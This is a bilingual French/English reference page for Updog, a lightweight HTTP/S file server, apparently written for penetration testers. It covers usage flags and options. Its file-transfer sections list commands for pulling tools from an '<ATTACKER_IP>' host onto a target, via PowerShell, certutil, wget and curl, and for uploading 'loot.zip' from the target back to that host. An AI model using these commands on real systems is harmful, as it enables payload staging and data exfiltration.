← retour aux outils back to tools

# Updog

Serveur HTTP/S simple pour le partage rapide de fichiers lors des missions. Supporte upload et download avec authentification optionnelle. Simple HTTP/S server for quick file sharing during engagements. Supports upload and download with optional authentication.

↗ https://github.com/sc0tfree/updog

## Overview

Updog is a replacement for Python’s `http.server` with upload support, HTTPS, and optional password authentication. It’s the fastest way to stand up a file server during an engagement.

## Common Usage

Serve current directory on port 9090

    updog

Serve specific directory

    updog -d /opt/tools/

Custom port

    updog -p 8888

With password authentication

    updog --password secretpass

HTTPS (self-signed cert auto-generated)

    updog --ssl

Custom port with SSL and auth

    updog -p 443 --ssl --password mypass

## Transferring Files to Target

    # Windows (PowerShell)
    Invoke-WebRequest -Uri http://<ATTACKER_IP>:9090/tool.exe -OutFile C:\Windows\Temp\tool.exe
    certutil.exe -urlcache -split -f http://<ATTACKER_IP>:9090/tool.exe C:\Temp\tool.exe

    # Linux
    wget http://<ATTACKER_IP>:9090/tool
    curl http://<ATTACKER_IP>:9090/tool -o tool

## Uploading Files from Target

Updog supports file uploads via its web UI — navigate to `http://<ATTACKER_IP>:9090` in a browser, or use curl:

    curl -F "file=@loot.zip" http://<ATTACKER_IP>:9090/

Help / Man page

    updog [options]

    OPTIONS:
      -d PATH       Directory to serve (default: current directory)
      -p PORT       Port to listen on (default: 9090)
      --password    Password for authentication (HTTP Basic)
      --ssl         Enable HTTPS (auto-generates self-signed cert)
      --version     Show version

    DEFAULTS:
      Listens on:  0.0.0.0:9090
      Serves:      Current working directory
      Uploads:     Enabled (uploaded to served directory)
      Auth:        None

    ACCESS:
      Browser:     http://<IP>:9090
      Download:    http://<IP>:9090/filename
      Upload:      POST to http://<IP>:9090 with file form field

## Vue d’ensemble

Updog remplace le `http.server` de Python avec le support des uploads, HTTPS et une authentification optionnelle par mot de passe. C’est la façon la plus rapide de monter un serveur de fichiers lors d’une mission.

## Utilisation courante

    # Servir le répertoire courant sur le port 9090
    updog

    # Servir un répertoire spécifique
    updog -d /opt/tools/

    # Port personnalisé
    updog -p 8888

    # Avec authentification par mot de passe
    updog --password secretpass

    # HTTPS (certificat auto-signé généré automatiquement)
    updog --ssl

    # Port personnalisé avec SSL et authentification
    updog -p 443 --ssl --password mypass

## Transfert de fichiers vers la cible

    # Windows (PowerShell)
    Invoke-WebRequest -Uri http://<ATTACKER_IP>:9090/tool.exe -OutFile C:\Windows\Temp\tool.exe
    certutil.exe -urlcache -split -f http://<ATTACKER_IP>:9090/tool.exe C:\Temp\tool.exe

    # Linux
    wget http://<ATTACKER_IP>:9090/tool
    curl http://<ATTACKER_IP>:9090/tool -o tool

## Upload de fichiers depuis la cible

Updog supporte les uploads de fichiers via son interface web : naviguer vers `http://<ATTACKER_IP>:9090` dans un navigateur, ou utiliser curl :

    curl -F "file=@loot.zip" http://<ATTACKER_IP>:9090/

Aide / Page de manuel

    updog [options]

    OPTIONS:
      -d PATH       Directory to serve (default: current directory)
      -p PORT       Port to listen on (default: 9090)
      --password    Password for authentication (HTTP Basic)
      --ssl         Enable HTTPS (auto-generates self-signed cert)
      --version     Show version

    DEFAULTS:
      Listens on:  0.0.0.0:9090
      Serves:      Current working directory
      Uploads:     Enabled (uploaded to served directory)
      Auth:        None

    ACCESS:
      Browser:     http://<IP>:9090
      Download:    http://<IP>:9090/filename
      Upload:      POST to http://<IP>:9090 with file form field